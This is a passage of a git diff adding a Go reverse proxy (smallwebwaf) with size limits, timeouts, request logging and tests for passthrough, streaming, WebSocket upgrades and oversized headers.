strconv.Itoa(size)) + _, _ = w.Write(body) + + return + } + + // Sending part of it before the end keeps Go's server from working + // out the length. + _, _ = w.Write(body[:size/2]) + _ = http.NewResponseController(w).Flush() + _, _ = w.Write(body[size/2:]) +} diff --git a/internal/proxy/passthrough_test.go b/internal/proxy/passthrough_test.go new file mode 100644 index 0000000..66caee7 --- /dev/null +++ b/internal/proxy/passthrough_test.go @@ -0,0 +1,426 @@ +package proxy_test + +import ( + "bufio" + "bytes" + "errors" + "io" + "net" + "net/http" + "slices" + "strings" + "sync/atomic" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/config" + "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// A request target with an escaped slash and space in its path, and a +// query with a parameter ReverseProxy cannot parse. +const ( + rawPath = "/some%2Fpath/with%20space" + rawQuery = "b=2&a=1&bad=%zz;x" +) + +// chunkSize is the size of each part of a body a test sends in parts. +const chunkSize = 1 << 10 + +var errNotStreamed = errors.New("the first part never reached the app") + +// appSaw is what the app received. +type appSaw struct { + method string + target string + header http.Header + body []byte +} + +func TestPassesRequestAndAnswerUnchanged(t *testing.T) { + t.Parallel() + + requestBody := bytes.Repeat([]byte("request body "), 8000) + answerBody := bytes.Repeat([]byte("answer body "), 8000) + saw := make(chan appSaw, 1) + + app := startApp(t, func(w http.ResponseWriter, r *http.Request) { + body, _ := io.ReadAll(r.Body) + saw <- appSaw{r.Method, r.RequestURI, r.Header.Clone(), body} + + w.Header().Set("X-App", "yes") + w.Header().Add("Set-Cookie", "a=1") + w.Header().Add("Set-Cookie", "b=2") + w.WriteHeader(http.StatusTeapot) + _, _ = w.Write(answerBody) + }) + addr, out := startProxy(t, app.URL, nil) + + req := newRequest(t, http.MethodPatch, addr, rawPath+"?"+rawQuery, + bytes.NewReader(requestBody)) + req.Header.Add("X-Test", "one") + req.Header.Add("X-Test", "two") + req.Header.Set("User-Agent", "test-agent") + + got := do(t, req) + + wantAppSaw(t, <-saw, requestBody) + wantAnswer(t, got, answerBody) + + line := out.requestLine(t) + wantLine(t, line, http.StatusTeapot, requestlog.ActionForward) + wantRequestFields(t, line, addr, len(requestBody), len(answerBody)) +} + +// wantAppSaw checks that the app received the test's request unchanged. +func wantAppSaw(t *testing.T, saw appSaw, body []byte) { + t.Helper() + + if saw.method != http.MethodPatch || saw.target != rawPath+"?"+rawQuery { + t.Errorf("app saw %s %s, want %s %s", saw.method, saw.target, + http.MethodPatch, rawPath+"?"+rawQuery) + } + + if !slices.Equal(saw.header.Values("X-Test"), []string{"one", "two"}) { + t.Errorf("app saw X-Test %q", saw.header.Values("X-Test")) + } + + if saw.header.Get("User-Agent") != "test-agent" { + t.Errorf("app saw User-Agent %q", saw.header.Get("User-Agent")) + } + + if !bytes.Equal(saw.body, body) { + t.Errorf("app saw a body of %d bytes, want the %d sent", + len(saw.body), len(body)) + } +} + +// wantAnswer checks that the client received the app's answer unchanged. +func wantAnswer(t *testing.T, got answer, body []byte) { + t.Helper() + + wantStatus(t, got, http.StatusTeapot) + + if got.header.Get("X-App") != "yes" { + t.Errorf("client got X-App %q", got.header.Get("X-App")) + } + + if !slices.Equal(got.header.Values("Set-Cookie"), []string{"a=1", "b=2"}) { + t.Errorf("client got Set-Cookie %q", got.header.Values("Set-Cookie")) + } + + if got.err != nil || !bytes.Equal(got.body, body) { + t.Errorf("client got %d bytes (%v), want the %d the app sent", + len(got.body), got.err, len(body)) + } +} + +// wantRequestFields checks the log line's fields about the request. +func wantRequestFields(t *testing.T, line logLine, host string, sent, received int) { + t.Helper() + + want := requestlog.Line{ + Type: "request", Time: line.Time, ClientIP: localhost, PeerIP: localhost, + Method: http.MethodPatch, Host: host, Path: rawPath, Query: rawQuery, + Protocol: "HTTP/1.1", Status: http.StatusTeapot, + UpstreamStatus: http.StatusTeapot, RequestBytes: int64(sent), + ResponseBytes: int64(received), UserAgent: "test-agent", + Action: requestlog.ActionForward, DurationTotal: line.DurationTotal, + DurationUpstreamTotal: line.DurationUpstreamTotal, + } + if line.Line != want { + t.Errorf("log line\n%+v\nwant\n%+v", line.Line, want) + } + + _, err := time.Parse(time.RFC3339, line.Time) + if err != nil || line.DurationTotal <= 0 || line.DurationUpstreamTotal <= 0 { + t.Errorf("log line has time %q and durations %v and %v", + line.Time, line.DurationTotal, line.DurationUpstreamTotal) + } +} + +func TestStreamsTheRequestBody(t *testing.T) { + t.Parallel() + + chunk := bytes.Repeat([]byte("x"), chunkSize) + firstArrived := make(chan struct{}) + + app := startApp(t, func(w http.ResponseWriter, r *http.Request) { + first := make([]byte, len(chunk)) + + _, err := io.ReadFull(r.Body, first) + if err != nil { + return + } + + close(firstArrived) + + rest, _ := io.ReadAll(r.Body) + _, _ = w.Write(rest) + }) + addr, _ := startProxy(t, app.URL, nil) + + body, writer := io.Pipe() + + go func() { + _, _ = writer.Write(chunk) + + select { + case <-firstArrived: + _, _ = writer.Write(chunk) + _ = writer.Close() + case <-time.After(waitLimit): + _ = writer.CloseWithError(errNotStreamed) + } + }() + + got := do(t, newRequest(t, http.MethodPost, addr, "/upload", body)) + if got.err != nil || !bytes.Equal(got.body, chunk) { + t.Errorf("app read %d bytes after the first part (%v), want %d", + len(got.body), got.err, len(chunk)) + } +} + +func TestStreamsTheAnswerBody(t *testing.T) { + t.Parallel() + + chunk := bytes.Repeat([]byte("y"), chunkSize) + firstArrived := make(chan struct{}) + + app := startApp(t, func(w http.ResponseWriter, _ *http.Request) { + _, _ = w.Write(chunk) + _ = http.NewResponseController(w).Flush() + + select { + case <-firstArrived: + _, _ = w.Write(chunk) + case <-time.After(waitLimit): + } + }) + addr, _ := startProxy(t, app.URL, nil) + + req := newRequest(t, http.MethodGet, addr, "/download", http.NoBody) + + res, err := newClient(t).Do(req) + if err != nil { + t.Fatalf("request: %v", err) + } + + first := make([]byte, len(chunk)) + _, err = io.ReadFull(res.Body, first) + + close(firstArrived) + + got := readAnswer(res) + if err != nil || got.err != nil || !bytes.Equal(got.body, chunk) { + t.Errorf("client read %d bytes after the first part (%v, %v), want %d", + len(got.body), err, got.err, len(chunk)) + } +} + +func TestUpgradedConnectionOutlastsTheTimeouts(t *testing.T) { + t.Parallel() + + app := startApp(t, echoAfterUpgrade) + addr, out := startProxy(t, app.URL, map[string]string{ + clientRequestTimeout: shortTimeoutSetting, + clientResponseTimeout: shortTimeoutSetting, + upstreamRequestTimeout: shortTimeoutSetting, + upstreamResponseTimeout: shortTimeoutSetting, + }) + + conn := dial(t, addr) + send(t, conn, "GET /socket HTTP/1.1\r\nHost: app\r\n"+ + "Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n") + + reader := bufio.NewReader(conn) + + res, err := http.ReadResponse(reader, nil) + if err != nil { + t.Fatalf("read the answer to the upgrade: %v", err) + } + + _ = res.Body.Close() + + if res.StatusCode != http.StatusSwitchingProtocols { + t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols) + } + + // Wait past every timeout, then use the connection. + time.Sleep(3 * shortTimeout) + send(t, conn, "still here\n") + + echoed, err := reader.ReadString('\n') + if err != nil || echoed != "still here\n" { + t.Errorf("echo %q (%v), want %q", echoed, err, "still here\n") + } + + _ = conn.Close() + + wantLine(t, out.requestLine(t), http.StatusSwitchingProtocols, + requestlog.ActionForward) +} + +// echoAfterUpgrade is an app that switches protocols on request, and then +// sends back each line it receives. +func echoAfterUpgrade(w http.ResponseWriter, r *http.Request) { + if r.Header.Get("Upgrade") != "websocket" { + http.Error(w, "not an upgrade", http.StatusBadRequest) + + return + } + + conn, buffered, err := http.NewResponseController(w).Hijack() + if err != nil { + return + } + + defer func() { + _ = conn.Close() + }() + + _, _ = buffered.WriteString("HTTP/1.1 101 Switching Protocols\r\n" + + "Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n") + _ = buffered.Flush() + + for { + line, err := buffered.ReadString('\n') + if err != nil { + return + } + + _, _ = buffered.WriteString(line) + _ = buffered.Flush() + } +} + +func TestServerHasTheFixedLimits(t *testing.T) { + t.Parallel() + + cfg, err := config.FromEnvironment(func(string) (string, bool) { return "", false }) + if err != nil { + t.Fatalf("default settings: %v", err) + } + + server := proxy.New(proxy.Params{ + Config: cfg, + RequestLog: io.Discard, + ProcessLog: requestlog.NewProcessLogger(io.Discard), + }) + + if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 || + server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute { + t.Errorf("server listens on %q with header limit %d, idle time %s and "+ + "header timeout %s", server.Addr, server.MaxHeaderBytes, + server.IdleTimeout, server.ReadHeaderTimeout) + } +} + +func TestRefusesHeadersOver32KiB(t *testing.T) { + t.Parallel() + + var calls atomic.Int32 + + app := startApp(t, func(http.ResponseWriter, *http.Request) { + calls.Add(1) + }) + addr, _ := startProxy(t, app.URL, nil) + + // size counts every byte of the request: the request line, the + // headers and the blank line that ends them. + const ( + start = "GET / HTTP/1.1\r\nHost: app\r\nX-Large: " + end = "\r\n\r\n" + ) + + for _, tc := range []struct { + size int + want int + }{ + {size: 32 << 10, want: http.StatusOK}, + {size: 32<<10 + 1, want: http.StatusRequestHeaderFieldsTooLarge}, + } { + conn := dial(t, addr) + send(t, conn, start+strings.Repeat("a", tc.size-len(start)-len(end))+end) + wantStatus(t, readResponse(t, conn), tc.want) + } + + if calls.Load() != 1 { + t.Errorf("the app was called %d times, want once", calls.Load()) + } +} + +func TestAnswers502WhenTheAppCannotBeReached(t *testing.T) { + t.Parallel() + + listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") + if err != nil { + t.Fatalf("listen: %v", err) + } + + closedAddr := listener.Addr().String() + _ = listener.Close() + + addr, out := startProxy(t, "http://"+closedAddr, nil) + + wantStatus(t, get(t, addr, "/"), http.StatusBadGateway) + wantLine(t, out.requestLine(t), http.StatusBadGateway, + requestlog.ActionUpstreamError) + + logged := slices.ContainsFunc(out.lines(t), func(line map[string]any) bool { + return line["type"] == "process" && line["msg"] == "request to the app failed" + }) + if !logged { + t.Errorf("no process line says the request to the app failed") + } +} + +func TestLogsAnAnswerThatBrokeOff(t *testing.T) { + t.Parallel() + + app := startApp(t, func(w http.ResponseWriter, _ *http.Request) { + _, _ = io.WriteString(w, "the first part") + _ = http.NewResponseController(w).Flush() + + panic(http.ErrAbortHandler) // drops the connection mid-answer + }) + addr, out := startProxy(t, app.URL, nil) + + got := get(t, addr, "/") + if string(got.body) != "the first part" || !errors.Is(got.err, io.ErrUnexpectedEOF) { + t.Errorf("client read %q (%v), want the first part cut off", got.body, got.err) + } + + wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionUpstreamError) +} + +func TestLogsAClientThatWentAway(t *testing.T) { + t.Parallel() + + arrived := make(chan struct{}) + + app := startApp(t, func(_ http.ResponseWriter, r *http.Request) { + close(arrived) + <-r.Context().Done() + }) + addr, out := startProxy(t, app.URL, nil) + + conn := dial(t, addr) + send(t, conn, "GET /slow HTTP/1.1\r\nHost: app\r\n\r\n") + + select { + case <-arrived: + case <-time.After(waitLimit): + t.Fatal("the request never reached the app") + } + + _ = conn.Close() + + line := out.requestLine(t) + if !line.Aborted || line.Status != 0 || line.Action != requestlog.ActionForward { + t.Errorf("log line has aborted %v, status %d and action %q, "+ + "want true, 0 and %q", + line.Aborted, line.Status, line.Action, requestlog.ActionForward) + } +} diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go new file mode 100644 index 0000000..327ba81 --- /dev/null +++ b/internal/proxy/proxy.go @@ -0,0 +1,105 @@ +// Package proxy passes each request to the app and the app's answer back, +// unchanged, within the size and time limits, and writes one request log +// line for each request. +package proxy + +import ( + "io" + "log" + "log/slog" + "net/http" + "time" + + "sneak.berlin/go/smallwebwaf/internal/config" +) + +// The request line and headers a client may send, and how long a +// kept-open client connection may wait for its next request, are fixed +// rather than settings. The limit on the request line and headers is +// 32 KiB, but Go's server reads 4 KiB past its MaxHeaderBytes before it +// refuses, so MaxHeaderBytes is set 4 KiB lower. The idle time is longer +// than the 90 seconds after which traefik closes a connection it is not +// using, so traefik never sends a request on a connection smallwebwaf is +// closing. +const ( + requestHeaderMaxBytes = 32<<10 - 4<<10 + clientIdleTimeout = 120 * time.Second +) + +// How smallwebwaf keeps connections to the app open between requests. +const ( + appIdleConns = 100 + appIdleConnTimeout = 90 * time.Second +) + +// Params are what New needs. +type Params struct { + Config *config.Config + // RequestLog receives one JSON line per request. + RequestLog io.Writer + // ProcessLog receives the process's own messages. + ProcessLog *slog.Logger +} + +// New returns the server smallwebwaf runs: each request it reads passes +// through the proxy. Go's server itself refuses headers over 32 KiB, with +// 431, closes a connection idle for 120 seconds, and applies +// SWWAF_CLIENT_REQUEST_TIMEOUT while the headers arrive; the proxy +// applies the timeouts and size limits from then on. +func New(params Params) *http.Server { + errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn) + + return &http.Server{ + Addr: params.Config.ListenAddr, + Handler: &handler{ + config: params.Config, + requestLog: params.RequestLog, + processLog: params.ProcessLog, + errorLog: errorLog, + transport: newTransport(), + }, + ReadHeaderTimeout: params.Config.ClientRequestTimeout, + IdleTimeout: clientIdleTimeout, + MaxHeaderBytes: requestHeaderMaxBytes, + ErrorLog: errorLog, + } +} + +// handler is the proxy. It holds what every request shares; what belongs +// to one request is in a request. +type handler struct { + config *config.Config + requestLog io.Writer + processLog *slog.Logger + errorLog *log.Logger + transport http.RoundTripper +} + +// newTransport returns what carries requests to the app. It never goes +// through a proxy named in the environment, and leaves the app's answers +// compressed or not as the app sent them. +func newTransport() *http.Transport { + return &http.Transport{ + MaxIdleConns: appIdleConns, + MaxIdleConnsPerHost: appIdleConns, + IdleConnTimeout: appIdleConnTimeout, + DisableCompression: true, + } +} + +// ServeHTTP handles one request: it works out the client, runs the +// checks, passes the request to the app and the answer back within the +// limits, and writes the request's log line. +func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + rq := h.newRequest(w, r) + defer rq.finish() + + refused := rq.check() + if refused != nil { + rq.answer(*refused) + + return + } + + rq.forward(r.Context()) +} diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go new file mode 100644 index 0000000..9a37a40 --- /dev/null +++ b/internal/proxy/proxy_test.go @@ -0,0 +1,328 @@ +package proxy_test + +import ( + "bufio" + "bytes" + "encoding/json" + "io" + "maps" + "net" + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/config" + "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +const ( + // shortTimeout is what a test sets a timeout to, to see it run out. + shortTimeout = 300 * time.Millisecond + // shortTimeoutSetting is shortTimeout as a setting's value. + shortTimeoutSetting = "300ms" + // longTimeoutSetting is a timeout that does not run out in a test. + longTimeoutSetting = "10s" + // waitLimit bounds how long a test waits for what should happen. + waitLimit = 10 * time.Second + // pollInterval is how often a test looks for a log line. + pollInterval = 10 * time.Millisecond + // localhost is where every test server listens, and so the address + // smallwebwaf sees each test's requests come from. + localhost = "127.0.0.1" +) + +// The settings the tests set. +const ( + clientRequestTimeout = "SWWAF_CLIENT_REQUEST_TIMEOUT" + clientResponseTimeout = "SWWAF_CLIENT_RESPONSE_TIMEOUT" + upstreamRequestTimeout = "SWWAF_UPSTREAM_REQUEST_TIMEOUT" + upstreamResponseTimeout = "SWWAF_UPSTREAM_RESPONSE_TIMEOUT" + requestMaxBytes = "SWWAF_REQUEST_MAX_BYTES" + responseMaxBytes = "SWWAF_RESPONSE_MAX_BYTES" + trustedProxies = "SWWAF_TRUSTED_PROXIES" +) + +// output collects what smallwebwaf writes on stdout. +type output struct { + mu sync.Mutex + buf bytes.Buffer +} + +// Write adds lines smallwebwaf writes. +func (o *output) Write(p []byte) (int, error) { + o.mu.Lock() + defer o.mu.Unlock() + + return o.buf.Write(p) +} + +// lines returns every line written so far, decoded. +func (o *output) lines(t *testing.T) []map[string]any { + t.Helper() + o.mu.Lock() + defer o.mu.Unlock() + + var lines []map[string]any + + for text := range strings.Lines(o.buf.String()) { + var line map[string]any + + err := json.Unmarshal([]byte(text), &line) + if err != nil { + t.Fatalf("output line %q is not JSON: %v", text, err) + } + + lines = append(lines, line) + } + + return lines +} + +// logLine is a request log line, as typed fields and as the JSON object +// it was written as. +type logLine struct { + requestlog.Line + + fields map[string]any +} + +// requestLines waits for count request log lines and returns them. +func (o *output) requestLines(t *testing.T, count int) []logLine { + t.Helper() + + deadline := time.Now().Add(waitLimit) + for time.Now().Before(deadline) { + var found []logLine + + for _, fields := range o.lines(t) { + if fields["type"] == "request" { + found = append(found, decodeLine(t, fields)) + } + } + + if len(found) >= count { + return found + } + + time.Sleep(pollInterval) + } + + t.Fatalf("fewer than %d request log lines after %s", count, waitLimit) + + return nil +} + +// requestLine waits for the request log line of a test's one request. +func (o *output) requestLine(t *testing.T) logLine { + t.Helper() + + return o.requestLines(t, 1)[0] +} + +// decodeLine reads a request log line's fields into a logLine. +func decodeLine(t *testing.T, fields map[string]any) logLine { + t.Helper() + + encoded, err := json.Marshal(fields) + if err != nil { + t.Fatalf("encode %v: %v", fields, err) + } + + line := logLine{fields: fields} + + err = json.Unmarshal(encoded, &line.Line) + if err != nil { + t.Fatalf("decode %s: %v", encoded, err) + } + + return line +} + +// startApp starts app as the app smallwebwaf passes requests to. +func startApp(t *testing.T, app http.HandlerFunc) *httptest.Server { + t.Helper() + + server := httptest.NewServer(app) + t.Cleanup(server.Close) + + return server +} + +// startProxy starts smallwebwaf in front of the app at appURL, with the +// settings in env on top of the defaults, and returns where it listens and +// what it writes. +func startProxy(t *testing.T, appURL string, env map[string]string) (string, *output) { + t.Helper() + + settings := map[string]string{"SWWAF_UPSTREAM_URL": appURL} + maps.Copy(settings, env) + + cfg, err := config.FromEnvironment(func(name string) (string, bool) { + value, ok := settings[name] + + return value, ok + }) + if err != nil { + t.Fatalf("settings %v: %v", settings, err) + } + + out := &output{} + server := proxy.New(proxy.Params{ + Config: cfg, + RequestLog: out, + ProcessLog: requestlog.NewProcessLogger(out), + }) + + listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") + if err != nil { + t.Fatalf("listen: %v", err) + } + + go func() { + _ = server.Serve(listener) + }() + + t.Cleanup(func() { + _ = server.Close() + }) + + return listener.Addr().String(), out +} + +// newClient returns an HTTP client that sends requests as they are made, +// with no compression of its own. +func newClient(t *testing.T) *http.Client { + t.Helper() + + transport := &http.Transport{DisableCompression: true} + t.Cleanup(transport.CloseIdleConnections) + + return &http.Client{Transport: transport} +} + +// answer is a response as a test reads it: the status, the headers, as +// much of the body as arrived, and the error that ended the reading, nil +// when the whole body arrived. +type answer struct { + status int + header http.Header + body []byte + err error +} + +// readAnswer reads all of res, and closes its body. +func readAnswer(res *http.Response) answer { + body, err := io.ReadAll(res.Body) + _ = res.Body.Close() + + return answer{status: res.StatusCode, header: res.Header, body: body, err: err} +} + +// newRequest makes a request for path to smallwebwaf at addr. +func newRequest(t *testing.T, method, addr, path string, body io.Reader) *http.Request { + t.Helper() + + req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+path, body) + if err != nil { + t.Fatalf("new request: %v", err) + } + + return req +} + +// do sends req and reads the answer. +func do(t *testing.T, req *http.Request) answer { + t.Helper() + + res, err := newClient(t).Do(req) + if err != nil { + t.Fatalf("%s %s: %v", req.Method, req.URL.Path, err) + } + + return readAnswer(res) +} + +// get sends a GET request for path to smallwebwaf at addr. +func get(t *testing.T, addr, path string) answer { + t.Helper() + + return do(t, newRequest(t, http.MethodGet, addr, path, http.NoBody)) +} + +// dial opens a connection to smallwebwaf at addr, for requests the HTTP +// client cannot make, such as one that stops sending halfway. +func dial(t *testing.T, addr string) net.Conn { + t.Helper() + + conn, err := (&net.Dialer{}).DialContext(t.Context(), "tcp", addr) + if err != nil { + t.Fatalf("dial %s: %v", addr, err) + } + + t.Cleanup(func() { + _ = conn.Close() + }) + + return conn +} + +// send writes text to conn. +func send(t *testing.T, conn net.Conn, text string) { + t.Helper() + + _, err := io.WriteString(conn, text) + if err != nil { + t.Fatalf("send: %v", err) + } +} + +// readResponse reads the answer to a request sent on conn. +func readResponse(t *testing.T, conn net.Conn) answer { + t.Helper() + + err := conn.SetReadDeadline(time.Now().Add(waitLimit)) + if err != nil { + t.Fatalf("set read deadline: %v", err) + } + + res, err := http.ReadResponse(bufio.NewReader(conn), nil) + if err != nil { + t.Fatalf("read response: %v", err) + } + + return readAnswer(res) +} + +// wantLine checks the request log line's status and action. +func wantLine(t *testing.T, line logLine, status int, action string) { + t.Helper() + + if line.Status != status || line.Action != action { + t.Errorf("log line has status %d and action %q, want %d and %q", + line.Status, line.Action, status, action) + } +} + +// wantStatus checks an answer's status. +func wantStatus(t *testing.T, got answer, status int) { + t.Helper() + + if got.status != status { + t.Errorf("status %d, want %d", got.status, status) + } +} + +// wantTimedOut checks that what began at start ended once shortTimeout +// had run out, and not much later. +func wantTimedOut(t *testing.T, start time.Time) { + t.Helper() + + took := time.Since(start) + if took < shortTimeout || took > shortTimeout+waitLimit/2 { + t.Errorf("took %s, want %s", took, shortTimeout) + } +} diff --git a/internal/proxy/request.go b/internal/proxy/request.go new file mode 100644 index 0000000..bf73130 --- /dev/null +++ b/internal/proxy/request.go @@ -0,0 +1,452 @@ +package proxy + +import ( + "context" + "errors" + "net/http" + "net/http/httptrace" + "net/http/httputil" + "net/netip" + "os" + "sync" + "sync/atomic" + "time" + + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// flushAfterEachWrite has ReverseProxy pass on each part of the app's +// answer as soon as it arrives. +const flushAfterEachWrite time.Duration = -1 + +// refusal is smallwebwaf refusing a request, or refusing to go on with it: +// the status the client is answered if the response has not started yet, +// and the action the log line names. +type refusal struct { + status int + action string +} + +// request is one request on its way through smallwebwaf, from the moment +// its headers have been read to its log line. +type request struct { + h *handler + in *http.Request + // rc sets the deadlines of the connection to the client. + rc *http.ResponseController + out *responseWriter + body *requestBody // nil for a request without a body + line requestlog.Line + + peer netip.Addr + peerTrusted bool + start time.Time + // upstreamStart is when the request was handed to the app. + upstreamStart time.Time + // cancel ends the request to the app. + cancel context.CancelFunc + // refused is the first refusal, from whichever goroutine meets it. + refused atomic.Pointer[refusal] + // complete is true once the app's whole answer has been passed on. + complete bool + + // mu guards what follows. The timeouts run on goroutines of their + // own, and the transport starts and stops them from its own; once + // timersStopped is set, none of them acts any more. + mu sync.Mutex + timersStopped bool + clientRequestTimer *time.Timer + upstreamRequestTimer *time.Timer + upstreamResponseTimer *time.Timer + // requestSent is when the app had been sent the whole request. + requestSent time.Time +} + +// newRequest starts handling r: it notes the time and works out the +// client. +func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request { + start := time.Now() + peer := peerAddress(r) + trusted := h.config.TrustedProxies + client := clientAddress(peer, r.Header.Values("X-Forwarded-For"), trusted) + + rq := &request{ + h: h, + in: r, + rc: http.NewResponseController(w), + out: &responseWriter{ResponseWriter: w}, + peer: peer, + peerTrusted: isInside(peer, trusted), + start: start, + line: requestlog.Line{ + Time: requestlog.FormatTime(start), + ClientIP: client.String(), + PeerIP: peer.String(), + Method: r.Method, + Host: r.Host, + Path: r.URL.EscapedPath(), + Query: r.URL.RawQuery, + Protocol: r.Proto, + Referer: r.Referer(), + UserAgent: r.UserAgent(), + Action: requestlog.ActionForward, + }, + } + if r.Body != http.NoBody { + rq.body = &requestBody{body: limitBody(r.Body, h.config.RequestMaxBytes), rq: rq} + } + + return rq +} + +// check is the one place where a request can be refused once its client +// is known, before its body is read or anything reaches the app; the rate +// limits and country lists of milestone 2 go here. It returns nil to let +// the request through. +func (rq *request) check() *refusal { + maxBytes := rq.h.config.RequestMaxBytes + if maxBytes > 0 && rq.in.ContentLength > maxBytes { + return &refusal{ + status: http.StatusRequestEntityTooLarge, + action: requestlog.ActionTooLarge, + } + } + + return nil +} + +// forward passes the request to the app and the app's answer back. ctx +// is the request's own context. +func (rq *request) forward(ctx context.Context) { + ctx, cancel := context.WithCancel(ctx) + defer cancel() + + rq.cancel = cancel + ctx = httptrace.WithClientTrace(ctx, &httptrace.ClientTrace{ + WroteRequest: rq.wroteRequest, + }) + + out := rq.in.WithContext(ctx) + if rq.body != nil { + out.Body = rq.body + } + + reverseProxy := &httputil.ReverseProxy{ + Rewrite: rq.rewrite, + Transport: rq.h.transport, + FlushInterval: flushAfterEachWrite, + ErrorLog: rq.h.errorLog, + ModifyResponse: rq.modifyResponse, + ErrorHandler: rq.answerError, + } + + rq.startRequestTimers() + rq.upstreamStart = time.Now() + reverseProxy.ServeHTTP(rq.out, out) +} + +// rewrite makes the request the app receives: the client's request, +// unchanged, sent to SWWAF_UPSTREAM_URL, with the forwarded headers set. +func (rq *request) rewrite(pr *httputil.ProxyRequest) { + upstream := rq.h.config.UpstreamURL + pr.Out.URL.Scheme = upstream.Scheme + pr.Out.URL.Host = upstream.Host + // ReverseProxy drops query parameters it cannot parse; the app gets + // the query as the client sent it. + pr.Out.URL.RawQuery = pr.In.URL.RawQuery + setForwardedHeaders(pr.In, pr.Out, rq.peer, rq.peerTrusted) +} + +// modifyResponse looks at the app's answer before ReverseProxy passes it +// on. +func (rq *request) modifyResponse(res *http.Response) error { + rq.line.UpstreamStatus = res.StatusCode + + if res.StatusCode == http.StatusSwitchingProtocols { + // An upgraded connection, such as a WebSocket, is not cut by the + // timeouts. ReverseProxy writes this answer straight to the + // connection it takes over, not through rq.out. + rq.stopTimers() + rq.out.status = res.StatusCode + + return nil + } + + maxBytes := rq.h.config.ResponseMaxBytes + if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes { + rq.refuse(refusal{status: http.StatusBadGateway, action: requestlog.ActionTooLarge}) + + return errResponseTooLarge + } + + res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq} + rq.startClientResponseTimeout() + + return nil +} + +// answerError is ReverseProxy's ErrorHandler: the request could not be +// passed to the app, or the app's answer cannot be passed on. +func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) { + refused := rq.refused.Load() + if refused == nil { + if rq.in.Context().Err() != nil { + return // the client has gone, and there is no one to answer + } + + rq.h.processLog.Warn("request to the app failed", "error", err.Error()) + + refused = &refusal{ + status: http.StatusBadGateway, + action: requestlog.ActionUpstreamError, + } + } + + rq.answer(*refused) +} + +// answer sends smallwebwaf's own answer, unless the response has already +// started, and records the refusal for the log line. +func (rq *request) answer(r refusal) { + rq.refused.CompareAndSwap(nil, &r) + + if rq.out.status != 0 { + return // too late to answer: the connection can only be cut + } + + // A client found too slow is read no more; any other may go on + // sending until its time is up, so that Go's server can read the + // rest of the body and end the request cleanly. + deadline := rq.clientRequestDeadline() + if r.status == http.StatusRequestTimeout { + deadline = time.Now() + } + + rq.stopReadingBody(deadline) + + timeout := rq.h.config.ClientResponseTimeout + if timeout > 0 { + _ = rq.rc.SetWriteDeadline(time.Now().Add(timeout)) + } + + http.Error(rq.out, http.StatusText(r.status), r.status) +} + +// refuse records r, unless an earlier refusal was, and ends the request +// to the app. +func (rq *request) refuse(r refusal) { + rq.refused.CompareAndSwap(nil, &r) + rq.cancel() +} + +// finish ends the request's timeouts and writes its log line. +func (rq *request) finish() { + rq.stopTimers() + + refused := rq.refused.Load() + if refused == nil { + rq.stopReadingBody(rq.clientRequestDeadline()) + } + + line := &rq.line + line.Status = rq.out.status + line.ResponseBytes = rq.out.bytes + + if rq.body != nil { + line.RequestBytes = rq.body.bytes.Load() + } + + switch { + case refused != nil: + line.Action = refused.action + case errors.Is(rq.out.err, os.ErrDeadlineExceeded): + // The client took longer than SWWAF_CLIENT_RESPONSE_TIMEOUT to + // take the response. + line.Action = requestlog.ActionTimedOut + case !rq.complete && (rq.out.err != nil || rq.in.Context().Err() != nil): + line.Aborted = true + } + + now := time.Now() + line.DurationTotal = requestlog.Milliseconds(now.Sub(rq.start)) + + if !rq.upstreamStart.IsZero() { + line.DurationUpstreamTotal = requestlog.Milliseconds(now.Sub(rq.upstreamStart)) + } + + err := requestlog.Write(rq.h.requestLog, line) + if err != nil { + rq.h.processLog.Error("writing the request log failed", "error", err.Error()) + } +} + +// clientRequestDeadline is when the client must have sent its whole +// request, or zero when SWWAF_CLIENT_REQUEST_TIMEOUT is off. +func (rq *request) clientRequestDeadline() time.Time { + timeout := rq.h.config.ClientRequestTimeout + if timeout == 0 { + return time.Time{} + } + + return rq.start.Add(timeout) +} + +// stopReadingBody ends, at deadline, the reading of a client body that has +// not arrived whole: Go's server then reads no more of it, and closes the +// connection after the answer. +func (rq *request) stopReadingBody(deadline time.Time) { + if rq.body == nil || rq.body.received.Load() { + return + } + + _ = rq.rc.SetReadDeadline(deadline) +} + +// startRequestTimers starts the timeouts that run while the request goes +// to the app: SWWAF_CLIENT_REQUEST_TIMEOUT until the client has sent its +// whole body, and SWWAF_UPSTREAM_REQUEST_TIMEOUT until the app has been +// sent the whole request. +func (rq *request) startRequestTimers() { + rq.mu.Lock() + defer rq.mu.Unlock() + + if rq.body != nil && rq.h.config.ClientRequestTimeout > 0 { + rq.clientRequestTimer = time.AfterFunc( + time.Until(rq.clientRequestDeadline()), rq.requestTimedOut) + } + + timeout := rq.h.config.UpstreamRequestTimeout + if timeout > 0 { + rq.upstreamRequestTimer = time.AfterFunc(timeout, rq.requestTimedOut) + } +} + +// requestTimedOut is called when a request timeout runs out while the +// request is still on its way to the app. The answer names the side +// smallwebwaf was waiting on at that moment: 408 when it was waiting for +// the client to send more of its body, 504 when it was waiting for the +// app to be reached or to take what it had. +func (rq *request) requestTimedOut() { + rq.mu.Lock() + defer rq.mu.Unlock() + + if 